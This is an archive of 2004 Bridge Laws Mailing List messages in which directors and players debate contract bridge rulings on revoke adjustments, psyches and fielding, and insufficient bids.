submerging , unforeseen From adam@irvine.com Thu Mar 25 16:47:14 2004 From: adam@irvine.com (Adam Beneschan) Date: Thu, 25 Mar 2004 08:47:14 -0800 Subject: [blml] Adjustment after revoke In-Reply-To: Your message of "Thu, 25 Mar 2004 09:52:10 +0100." <000001c41246$7610a6f0$6900a8c0@WINXP> Message-ID: <200403251647.IAA32164@mailhub.irvine.com> [Sven:] > > >Literally Law 12B law forbids the Director from > > >assigning an adjusted score on the ground that > > >the penalty provided in the laws is unduly > > >advantageous to the offending side or is unduly > > >severe to the non-offending side! [David:] > > > > What is wrong with that? > > > > If a revoke penalty is two tricks and the TD thinks two tricks is > > unfair on the poor offenders [a growing view for which my distaste is > > palpable - ok, I dunno what that means, but RJH keeps saying things like > > that] L12B forbids him from saying "Ave+/Ave- because it is fairer". [Sven:] > A+/A- are in any case illegal when a result has been (or can be) obtained on > the board isn't it? > > But I don't think you read my text carefully enough. What Law 12B says is > (amongst else) that the Director may not award an adjusted score on the > ground that the two tricks revoke penalty is unduly advantageous to the > offender! (Forget for a moment Law 64C, this is not primarily about revokes > which has its special equity law, this is generally about irregularities if > it should happen that a penalty is prescribed but gives only partial > compensation to the non offending side). > > Am I wrong in believing that the intention of Law 12B would be correctly > expressed by the following text? > > The Director may not award an adjusted score on the ground that the penalty > provided in these laws is unduly severe to the offending side or unduly > advantageous to the non-offending side. > > This is not what L12B says today! Actually, I think you probably are wrong about the intention of L12B. I'm basing this on Law 72B1: Whenever the Director deems that an offender could have known at the time of his irregularity that the irregularity would be likely to damage the non-offending side, he shall require the auction and play to continue, afterwards awarding an adjusted score if he considers that the offending side gained an advantage through the irregularity. The intent seems to be that if an irregularity (other than a revoke) works in the offender's favor, we are *not* to assume that the non-offenders are due redress. Rather, the non-offenders are indemnified if there's reason to suspect that the offenders might have committed the irregularity on purpose. However, if it seems clear that the offenders committed the irregularity purely by accident, we accept the fact that the error may work out to the offenders' benefit (just as an accidental misbid or mispull or a stupid bid may sometimes work out in favor or the side who made the mistake). I realize that this is not precisely what the law says, but it appears to me that the *intent* is somewhere along those lines. (See also L23.) So I think the intent of L12B probably *was* to prevent TD's from adjusting scores solely on the grounds that the non-offenders were harmed and were not sufficiently compensated by the penalty. Rather, they need a specific Law empowering them to do so (72B1, 23, 64C, 84E). One could reasonably argue that it would be better to let TD's make sure non-offenders are completely compensated; but I don't think you can make a good case that the wording of L12B was a mistake. Hope this makes sense, -- Adam From swillner@hotmail.com Thu Mar 25 17:09:01 2004 From: swillner@hotmail.com (Steven Willner) Date: Thu, 25 Mar 2004 12:09:01 -0500 Subject: [blml] Adjustment after revoke Message-ID: >From: Tony Musgrove ... >Later the player remarked that had the revoke not >occurred, and owing to a sub optimal opening lead >not found at other tables, there was a distinct >possibility that the revoker would be pseudo- >squeezed which would lead to an extra overtrick for >an absolute top. It seems to me you just judge this in the normal way: what would have happened without the revoke? "Would have happened" is judged according to L12C2 Is it "likely" or "at all probable" that the extra trick would have scored? Of course you can use L12C3 if it is enabled in your jurisdiction. This answer agrees with a couple of others, but I thought it might be helpful to restate the general principle of judging adjusted scores. While I agree with Richard that a split score is possible, it seems fairly unlikely. Something being "at all probable" but not "likely" is a very narrow target. _________________________________________________________________ Get rid of annoying pop-up ads with the new MSN Toolbar – FREE! http://toolbar.msn.com/go/onm00200414ave/direct/01/ From swillner@hotmail.com Thu Mar 25 17:18:57 2004 From: swillner@hotmail.com (Steven Willner) Date: Thu, 25 Mar 2004 12:18:57 -0500 Subject: [blml] RE: sven Message-ID: >From: "Sven Pran" >Am I wrong in believing that the intention of Law 12B would be correctly >expressed by the following text? > >The Director may not award an adjusted score on the ground that the penalty >provided in these laws is unduly severe to the offending side or unduly >advantageous to the non-offending side. I think you are wrong, as do David S. and Adam. The wording of L12B, as you seem to agree, says to me: if there's a stated penalty, just give it, no matter what score results. We all know the typical example: a player has an accident, which bars partner from the auction. The player guesses 3NT, which happens to be a great score. The offending side keep their score, even though it might be judged "unfairly favorable to the OS," unless there is a specific reason to adjust (typically L23 or 72B1). An alternative rule one might contemplate is to stop the board after any infraction and award an adjusted score, but that's not what the Laws say now. I suspect the reason is that most people want to play for a result as often as possible, but playing for a result is only meaningful if there is some possibility for the OS to score well. _________________________________________________________________ MSN Toolbar provides one-click access to Hotmail from any Web page – FREE download! http://toolbar.msn.com/go/onm00200413ave/direct/01/ From john@asimere.com Thu Mar 25 17:53:35 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 25 Mar 2004 17:53:35 +0000 Subject: [blml] How Law 25B is not to be used In-Reply-To: References: <000001c4112c$cd5d6620$6900a8c0@WINXP> <009c01c411ae$a3407a30$50ebf1c3@LNV> Message-ID: In article , WILLIAM SCHODER writes >Just so that we can continue this great hunt for voracity and exactitude, >the change to Law 25B (the 40% stuff) was put in there because a very highly >placed player had made a stupid mistake in passing in third seat with 10 >HCP, 4 spades, and a singleton when his partner opened 1 spade --which he >didn't see. It result was to produce a situation where you can make >mistakes, correct them after changing your mind, and not get the zero you >were headed for. Am I the only one to whom this looks like anti-bridge, >especially at the average player or higher level? You have to live with your >mistakes, but only a portion thereof if you're fast enough, and particularly >in teams, you can get away with a minus 3 IMPs after a horrendous mistake. Perhaps we could allow a change of card too, do away with the penalty card provisions and play for 40% there too :) John > >Kojak > > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From ereppert@rochester.rr.com Thu Mar 25 18:20:56 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 25 Mar 2004 13:20:56 -0500 Subject: [blml] treat non-offenders severely In-Reply-To: <8EOgt0sRTsYAFwdw@blakjak.demon.co.uk> Message-ID: <28DE6A1A-7E89-11D8-A400-0030656F6826@rochester.rr.com> On Thursday, Mar 25, 2004, at 06:38 US/Eastern, David Stevenson wrote: > A growing idea amongst North Americans is that non-offenders should be > treated quite severely. I think I've heard you say this before, and I wouldn't be at all surprised, but I can't think of any examples at the moment. Can you elucidate? From ereppert@rochester.rr.com Thu Mar 25 18:25:11 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 25 Mar 2004 13:25:11 -0500 Subject: [blml] Psyches In-Reply-To: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> Message-ID: On Thursday, Mar 25, 2004, at 07:55 US/Eastern, Robin Barker wrote: > In an international forum, we (the English) should learn to say > "illegally > fielding" because of people don't understand "fielding" with our > meaning. The fact that you *assume* a CPU exists doesn't make it so. So perhaps "allegedly illegal fielding" is more accurate. While I understand, I think, the reason behind this kind of assumption, it goes against the grain. It smacks of "guilty until proven innocent". From ereppert@rochester.rr.com Thu Mar 25 18:32:24 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 25 Mar 2004 13:32:24 -0500 Subject: [blml] Psyches In-Reply-To: Message-ID: On Thursday, Mar 25, 2004, at 09:39 US/Eastern, David Stevenson wrote: > When you field a psyche you have shown that the psyche was made with a > partnership understanding and that is illegal. Herman's point, if I may, is that it is *not* illegal unless the partnership understanding was concealed from opponents. Side note: If any of my partners psyched, it would surprise the heck out of me. As I'm not an expert (not even close) there's a fairly decent possibility that I might do something which those in the EBU would consider "fielding". If that happened, I can assure you it would not be intentional. In fact, it wouldn't be intentional even if I had reason to believe partner might psyche. IOW, I try - to whatever degree of success - to bid my hand on the basis of the auction I've heard and what I've got. And being "convicted" of a crime I did not commit would, to say the least, make me very unhappy. From ereppert@rochester.rr.com Thu Mar 25 18:36:49 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 25 Mar 2004 13:36:49 -0500 Subject: [blml] Psyches In-Reply-To: Message-ID: <60EE1AA5-7E8B-11D8-A400-0030656F6826@rochester.rr.com> On Thursday, Mar 25, 2004, at 09:42 US/Eastern, David Stevenson wrote: > Discussions on RGB have shown that the English usage is the normal > usage, accepted by about 80% of people. Since practically every term > in bridge is misused by 20% of people I assume that this is high > enough to assume this is its 'normal' meaning. If you say to me "you fielded that psyche" (a) I would take you to mean I did something illegal (b) you'd be wrong. Never mind (b), though. I don't know whether my understanding in (a) would hold if I had not been introduced to the concept as the EBU views it. From johnson@CCRS.NRCan.gc.ca Thu Mar 25 18:35:30 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Thu, 25 Mar 2004 13:35:30 -0500 (EST) Subject: [blml] treat non-offenders severely In-Reply-To: <28DE6A1A-7E89-11D8-A400-0030656F6826@rochester.rr.com> from "Ed Reppert" at Mar 25, 2004 01:20:56 PM Message-ID: <200403251835.i2PIZUGH002454@athena.ccrs.nrcan.gc.ca> Ed Reppert writes: > > > On Thursday, Mar 25, 2004, at 06:38 US/Eastern, David Stevenson wrote: > > > A growing idea amongst North Americans is that non-offenders should be > > treated quite severely. > > I think I've heard you say this before, and I wouldn't be at all > surprised, but I can't think of any examples at the moment. Can you > elucidate? > > I wouldn't presume to speak for David, but I've seen a lot of rulings which say something like, "If you'd just played bridge you'd have had a good score." Ignoring the fact that the NOS wouldn't have been in the position without the offence. I think this is at least part of what he's talking about. From svenpran@online.no Thu Mar 25 18:59:03 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 25 Mar 2004 19:59:03 +0100 Subject: [blml] RE: sven In-Reply-To: Message-ID: <000001c4129b$3dbbdf90$6900a8c0@WINXP> > Steven Willner > >Am I wrong in believing that the intention of Law 12B would be = correctly > >expressed by the following text? > > > >The Director may not award an adjusted score on the ground that the > penalty > >provided in these laws is unduly severe to the offending side or = unduly > >advantageous to the non-offending side. >=20 > I think you are wrong, as do David S. and Adam. The wording of L12B, = as > you seem to agree, says to me: if there's a stated penalty, just give = it, > no > matter what score results. We all know the typical example: a player = has > an > accident, which bars partner from the auction. The player guesses = 3NT, > which > happens to be a great score. The offending side keep their score, = even > though > it might be judged "unfairly favorable to the OS," unless there is a > specific reason > to adjust (typically L23 or 72B1). OK, I take the message. The consequence is that Law 12A1 should be interpreted as if it had been written: .... when he judges that the non offending side has been damaged but the laws do not prescribe any penalty for the particular type of violation ...... The consensus appears to be that if a penalty has been prescribed by law then the director is not to judge whether the non-offending side has = been indemnified (except in those cases where specific laws say otherwise, = e.g. Law 64C). (I have always understood Law 12A1 as if "indemnity" meant "full = indemnity") Regards Sven From richard.hills@immi.gov.au Thu Mar 25 23:37:00 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 26 Mar 2004 09:37:00 +1000 Subject: [blml] Lost in translation Message-ID: RJH: >>Therefore, unlike DWS, I do not believe that the >>Laws are "very reasonable". >> >>:-( DWS: >In other words, when the TD in his infinite wisdom >knows what to do, and the WBFLC in its ignorance >has no idea, the Law is unreasonable. > >Well, it's a view. RJH: The infinite wisdom of the WBFLC created the very reasonable Law 25B. Quod erat demonstrandum. :-) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Thu Mar 25 23:21:17 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 23:21:17 +0000 Subject: [blml] Psyches In-Reply-To: <4062FB02.5030903@hdw.be> References: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> <4062DDAF.8060308@hdw.be> <4062FB02.5030903@hdw.be> Message-ID: <4ZBxa$ztl2YAFw8L@blakjak.demon.co.uk> Herman De Wael wrote >David Stevenson wrote: > >> Herman De Wael wrote >> >>> >>> You ask: Why is fielding a psyche illegal? >>> Answer: From the EBU definition of fielding, fielding is using illegal >>> understanding to decide that partner has psyched, so is illegal. >>> >>> In an international forum, we (the English) should learn to say >>> "illegally >>> fielding" because of people don't understand "fielding" with our >>> meaning. >> Discussions on RGB have shown that the English usage is the >>normal usage, accepted by about 80% of people. Since practically >>every term in bridge is misused by 20% of people I assume that this >>is high enough to assume this is its 'normal' meaning. >> > >The normal usage should not be counted using a sample of only English >Bridge players who don't realize that they are using a word with >connotations it should not have. > >What do you call it when I realize, from the bidding and my hand, that >my partner has psyched, and make a bid not normally consistent with the >a priori meaning of the bidding so far? I can give you a number of >occasions in which this action should not be deemed illegal, yet you >seem to be using only one word, fielding, and you seem to be saying >that fielding is illegal. So give me another word. Or use fielding in a >more general sense and accept that not all fielding is illegal. If you cannot find a word using another which has a different meaning instead is not helpful. Allowing for a psyche can be legal or illegal. So you are allowing for a psyche - but not fielding it. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 25 23:22:51 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 23:22:51 +0000 Subject: [blml] Psyches In-Reply-To: <4062F9EF.2030801@hdw.be> References: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> <4062F9EF.2030801@hdw.be> Message-ID: Herman De Wael wrote >David Stevenson wrote: > >> If the software follows internationally accepted customs [and a >>fair amount of software used on BLML does not] then the following was >>written by Robin - but it sounds like Herman to me. > >it is. >> >>> Let me try to explain the problem that I have: >>> Read your sentence above again: >>> The British consider doing things illegally to be infractions. >>> Une verité al la Palisse if ever I read one. It is illegal to do >>> illegal things. >>> Answer me one thing: >>> Why is fielding a psyche illegal? >> Because it means that you have breached L40A. When you field a >>psyche you have shown that the psyche was made with a partnership >>understanding and that is illegal. >> > >I would rather you referred to L40B. L40A says what you can do, L40B >says what you cannot do. >But you are right in one sense. The fielding of the psyche shows that >there is PU. >But you are wrong in one other sense. Having a PU is not an infraction, >only a CPU is an infraction. Exactly - as L40A makes clear. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 25 23:25:22 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 23:25:22 +0000 Subject: [blml] Psyches In-Reply-To: References: Message-ID: Ed Reppert wrote > >On Thursday, Mar 25, 2004, at 09:39 US/Eastern, David Stevenson wrote: > >> When you field a psyche you have shown that the psyche was made with >>a partnership understanding and that is illegal. > >Herman's point, if I may, is that it is *not* illegal unless the >partnership understanding was concealed from opponents. > >Side note: If any of my partners psyched, it would surprise the heck >out of me. As I'm not an expert (not even close) there's a fairly >decent possibility that I might do something which those in the EBU >would consider "fielding". If that happened, I can assure you it would >not be intentional. In fact, it wouldn't be intentional even if I had >reason to believe partner might psyche. IOW, I try - to whatever degree >of success - to bid my hand on the basis of the auction I've heard and >what I've got. And being "convicted" of a crime I did not commit would, >to say the least, make me very unhappy. If yo did not do it you would not be convicted. But talking about things that are not comparable to bridge seems silly to me. Suppose you misjudge a UI position. The score gets adjusted because of that misjudgement, but there is no "conviction". Similarly if you misjudge a psyche position. The score gets adjusted, but you are not convicted of anything. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 25 23:30:03 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 23:30:03 +0000 Subject: [blml] Psyches In-Reply-To: <4062F834.5000205@hdw.be> References: <533D273D4014D411AB1D00062938C4D904046846@hotel.npl.co.uk> <4062F834.5000205@hdw.be> Message-ID: Herman De Wael wrote >Robin Barker wrote: > >> Herman >> I know we disagree on the real point. I think that if your >>knowledge of >> partner's psychic tendencies is going to change which call you make then >> it is a partnership agreement. > >On that bit we agree. I have called that fielding, and under that >definition of the word, my insistence that there needs to be more than >just this is (IMO) correct. >You have told me that in order for this action to be called fielding in >England, an extra requirement must be met - that the psyche has not yet >become obvious to anyone. Under that definition, you may be right in >saying that something is amiss. > >> This agreement is subject to regulation >> under L40D: > >Yes, but I fail to see what this has to do with the matter. Has the EBU >decided that the fielding of psyches is a convention that they can >regulate? I feel that this use of L40D is even stranger than the ACBL >one of banning 9HCP no-trumps. I would be loth to suggest that the European Bridge League's use of L40D was illegal, myself. It does not seem strange at all to me that allowing people to control the use of conventions actually means they control they use of conventions. No, I did not misread EBU: but both the EBU and EBL have such uses of L40D. >> if it is not concealed and is permitted by regulation, then you >>will disclose it as appropriate (L40B); > >Exactly my point. If it is disclosed - then it is no longer illegal! >Yet the EBU seems to insist that all fielding is illegal. Fielding is illegal, true: fielding is allowing for a psyche illegally under L40A. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 25 23:33:19 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 23:33:19 +0000 Subject: [blml] treat non-offenders severely In-Reply-To: <28DE6A1A-7E89-11D8-A400-0030656F6826@rochester.rr.com> References: <8EOgt0sRTsYAFwdw@blakjak.demon.co.uk> <28DE6A1A-7E89-11D8-A400-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Thursday, Mar 25, 2004, at 06:38 US/Eastern, David Stevenson wrote: > >> A growing idea amongst North Americans is that non-offenders should >>be treated quite severely. > >I think I've heard you say this before, and I wouldn't be at all >surprised, but I can't think of any examples at the moment. Can you >elucidate? If you misdefend a contract, reached through UI by the opponents, the likelihood of receiving redress is less in the ACBL than elsewhere. NOs are expected to "play bridge" after an infraction. The standards to deny redress are much harder elsewhere. When I suggested this seemed unreasonable, Rich Colker said to me: "You do not understand, David, in North America there is a lot of professionalism, and that is why we do this." No, I do not understand! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 25 23:34:48 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 25 Mar 2004 23:34:48 +0000 Subject: [blml] Lost in translation In-Reply-To: References: Message-ID: <1IciOU2Yy2YAFwcj@blakjak.demon.co.uk> RJH wrote >RJH: > >>>Therefore, unlike DWS, I do not believe that the >>>Laws are "very reasonable". >>> >>>:-( > >DWS: > >>In other words, when the TD in his infinite wisdom >>knows what to do, and the WBFLC in its ignorance >>has no idea, the Law is unreasonable. >> >>Well, it's a view. > >RJH: > >The infinite wisdom of the WBFLC created the very >reasonable Law 25B. > >Quod erat demonstrandum. > >:-) There's no answer to that. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Fri Mar 26 03:48:48 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 26 Mar 2004 13:48:48 +1000 Subject: [blml] One lump or two? Message-ID: WBF LC minutes 30th August 2000, item 8: >Whatever the level of the game, it is >unacceptable for a player, hearing his >partner open third-in-hand at the one-level, >and hearing a natural strong 1NT from RHO, >to do otherwise than double with 11 HCP. [snip] Hypothetical auction -> West North East South Pass(1) Pass 1S(2) 1NT Pass(3) (1) balanced shape with 11 hcp (2) unLawful CPU infracting Laws 40A and 40B (3) unacceptable consequential Pass One infraction or two? That is, was the combined pitching-and- catching operation by East-West a single infraction? Or did East commit an infraction, and West then commit a consequential but additional infraction? Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Fri Mar 26 03:35:30 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 25 Mar 2004 22:35:30 -0500 Subject: [blml] treat non-offenders severely In-Reply-To: Message-ID: On Thursday, Mar 25, 2004, at 18:33 US/Eastern, David Stevenson wrote: > When I suggested this seemed unreasonable, Rich Colker said to me: > "You do not understand, David, in North America there is a lot of > professionalism, and that is why we do this." > > No, I do not understand! Nor do I. "Professionalism"? What the heck is that supposed to mean? From ardelm@bigpond.net.au Fri Mar 26 03:39:29 2004 From: ardelm@bigpond.net.au (Tony Musgrove) Date: Fri, 26 Mar 2004 14:39:29 +1100 Subject: [blml] No infraction? Message-ID: <6.0.3.0.2.20040326143226.04767570@pop-server.bigpond.net.au> South makes an insufficient bid and just as West is on the point of bidding and thus accepting the insufficient bid, her partner says something like: "Hang on, stop, that bid is insufficient." Although it sounds vaguely naughty to attempt to draw partner's attention to the possibilty of obtaining an advantage, I can't find any law against it. I conclude that it is legal, and it may even be commendable. Cheers, Tony (Sydney) From ereppert@rochester.rr.com Fri Mar 26 03:48:04 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 25 Mar 2004 22:48:04 -0500 Subject: [blml] Psyches In-Reply-To: Message-ID: <62E2404A-7ED8-11D8-A400-0030656F6826@rochester.rr.com> On Thursday, Mar 25, 2004, at 18:30 US/Eastern, David Stevenson wrote: > Fielding is illegal, true: fielding is allowing for a psyche > illegally under L40A. Then fielding requires that there be a CPU. If there's no CPU, then it's not fielding. But, you say, it *looks* like fielding, so there must be a CPU, therefore it was fielding. At least, that's how the EBU regulation reads to me. I'm no expert in logic, but it seems to me there's a hole in there somewhere - one you could drive a truck through. From cibor@poczta.fm Fri Mar 26 03:48:10 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Thu, 25 Mar 2004 20:48:10 -0700 Subject: [blml] No infraction? References: <6.0.3.0.2.20040326143226.04767570@pop-server.bigpond.net.au> Message-ID: <001d01c412e5$2dec5410$1c8595ce@ams.com> ----- Original Message ----- From: "Tony Musgrove" To: Sent: Thursday, March 25, 2004 8:39 PM Subject: [blml] No infraction? > > South makes an insufficient bid and just as > West is on the point of bidding and thus > accepting the insufficient bid, her partner > says something like: > "Hang on, stop, that bid is insufficient." > > Although it sounds vaguely naughty to > attempt to draw partner's attention to > the possibilty of obtaining an advantage, > I can't find any law against it. I conclude > that it is legal, and it may even be > commendable. L73B1 Konrad Ciborowski Krakow, Poland (currently in Denver) From john@asimere.com Fri Mar 26 04:02:54 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 26 Mar 2004 04:02:54 +0000 Subject: [blml] Psyches In-Reply-To: <4ZBxa$ztl2YAFw8L@blakjak.demon.co.uk> References: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> <4062DDAF.8060308@hdw.be> <4062FB02.5030903@hdw.be> <4ZBxa$ztl2YAFw8L@blakjak.demon.co.uk> Message-ID: In article <4ZBxa$ztl2YAFw8L@blakjak.demon.co.uk>, David Stevenson writes >Herman De Wael wrote >>David Stevenson wrote: >> >>> Herman De Wael wrote >>> >>>> >>>> You ask: Why is fielding a psyche illegal? >>>> Answer: From the EBU definition of fielding, fielding is using illegal >>>> understanding to decide that partner has psyched, so is illegal. >>>> >>>> In an international forum, we (the English) should learn to say >>>> "illegally >>>> fielding" because of people don't understand "fielding" with our >>>> meaning. >>> Discussions on RGB have shown that the English usage is the >>>normal usage, accepted by about 80% of people. Since practically >>>every term in bridge is misused by 20% of people I assume that this >>>is high enough to assume this is its 'normal' meaning. >>> >> >>The normal usage should not be counted using a sample of only English >>Bridge players who don't realize that they are using a word with >>connotations it should not have. >> >>What do you call it when I realize, from the bidding and my hand, that >>my partner has psyched, and make a bid not normally consistent with the >>a priori meaning of the bidding so far? I can give you a number of >>occasions in which this action should not be deemed illegal, yet you >>seem to be using only one word, fielding, and you seem to be saying >>that fielding is illegal. So give me another word. Or use fielding in a >>more general sense and accept that not all fielding is illegal. > > If you cannot find a word using another which has a different meaning >instead is not helpful. > > Allowing for a psyche can be legal or illegal. So you are allowing >for a psyche - but not fielding it. > So, you hold Kx AKJxx Ax Kxxx and over partner's 2NT opener you bid the obvious (well I think it's obvious) transfer bid of 3H. Partner bids 3S and you bid the what is now clearly correct 7NT. Did you field? Suppose partner had passed 3H? cheers John -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From richard.hills@immi.gov.au Fri Mar 26 05:30:30 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 26 Mar 2004 15:30:30 +1000 Subject: [blml] No infraction? Message-ID: Tony Musgrove: >>South makes an insufficient bid and just as >>West is on the point of bidding and thus >>accepting the insufficient bid, her partner >>says something like: >>"Hang on, stop, that bid is insufficient." >> >>Although it sounds vaguely naughty to >>attempt to draw partner's attention to >>the possibilty of obtaining an advantage, >>I can't find any law against it. I conclude >>that it is legal, and it may even be >>commendable. Konrad Ciborowski: >L73B1 Richard James Hills: Also of possible relevance is Law 73A1 -> "Communication between partners during the auction and play shall be effected only by means of the calls and plays themselves." The nub of the issue is whether or not drawing attention to an irregularity can be defined as communication. Law 9A1: "Unless prohibited by Law, any player may call attention to an irregularity during the auction, whether or not it is his turn to call." Which Laws prohibit? In my opinion, only Law 75D2 is prohibitory. An ACBL appeal seemed to follow Tony's interpretation of Law, and avoid Konrad's interpretation of Law. A player gave MI to the opponents, and consequently UI to partner. Their partner was about to infract Law 16 by using the UI. However, the pending infraction of Law 16 would have led to disaster to the offending side. But the MI-giving player now corrected their original MI, so the impending Law 16 disaster for the offending side was averted. The non-offending side, demanding their pound of flesh, appealed. The AC correctly rejected the appeal, citing Law 75D1: "If a player subsequently realises that his own explanation was erroneous or incomplete, he must immediately call the Director (who will apply Law 21 or Law 40C)." Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From hermandw@hdw.be Fri Mar 26 08:06:01 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 26 Mar 2004 09:06:01 +0100 Subject: [blml] Psyches In-Reply-To: References: <533D273D4014D411AB1D00062938C4D904046846@hotel.npl.co.uk> <4062F834.5000205@hdw.be> Message-ID: <4063E469.1060603@hdw.be> Yet Again, David, David Stevenson wrote: >> >> >> Exactly my point. If it is disclosed - then it is no longer illegal! >> Yet the EBU seems to insist that all fielding is illegal. > > > Fielding is illegal, true: fielding is allowing for a psyche illegally > under L40A. > Yet again, David, you fail to grasp my point. There are three elements that need to be considered: 1) did the player do something that can be explained only because he understood his partner was psyching? Yes - this is what we call "allowing" 2) would every other player in the world, totally oblivious to the psyching tendencies of this particular partner, also have done the same? No - then we have evidence of a PU, this is what I believe you call "fielding" 3) were the opponents informed of this particular player's psyching tendencies? No - only now do we have evidence of a CPU, which is illegal. OK? -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Fri Mar 26 08:38:10 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 26 Mar 2004 09:38:10 +0100 Subject: [blml] One lump or two? In-Reply-To: References: Message-ID: <4063EBF2.7010605@hdw.be> richard.hills@immi.gov.au wrote: > > > > WBF LC minutes 30th August 2000, item 8: > > >>Whatever the level of the game, it is >>unacceptable for a player, hearing his >>partner open third-in-hand at the one-level, >>and hearing a natural strong 1NT from RHO, >>to do otherwise than double with 11 HCP. > > > [snip] This is a big snip, I believe. I can hardly believe this is the full statement and the unanimous verdict of the WBFLC. What has gone wrong here? > > Hypothetical auction -> > > West North East South > Pass(1) Pass 1S(2) 1NT > Pass(3) > > (1) balanced shape with 11 hcp I'm assuming you're just describing the hand, not the meaning of this pass. > (2) unLawful CPU infracting Laws 40A and 40B unlawful for what reason? Presumably because the opponents have not been told? > (3) unacceptable consequential Pass unacceptable by which law? > > One infraction or two? > > That is, was the combined pitching-and- > catching operation by East-West a single > infraction? > > Or did East commit an infraction, and West > then commit a consequential but additional > infraction? > Even if you consider the MI to opponents to be an infraction, the passing can never be an infraction. L40A stipulates that a player can bid what he wants. So this cannot be an infraction. It can be the proof that there has been another infraction, namely the CPU. But yet again, I see a strange duality in some people's approach to psyching. Yes, there exist psyches which fall foul to L40B. I will even state for the record that I find that there occur far more psyches that fall foul to L40B than are currently being investigated. And the reason being that suddenly this becomes a very heinous crime. (when something yields a big penalty, directors and opponents are loath to go looking for trouble, while offenders try to cover up - when it has only a small penalty, directors will investigate more thoroughly and players will cooperate more fully) Look guys, there is only one lawbook, and it contains only one L40B. L40B is probably the most broken law in the lawbook. But it covers a great deal of things: -forgotten alerts -forgotten non-alerts (alerted when it should not) -forgotten meaning 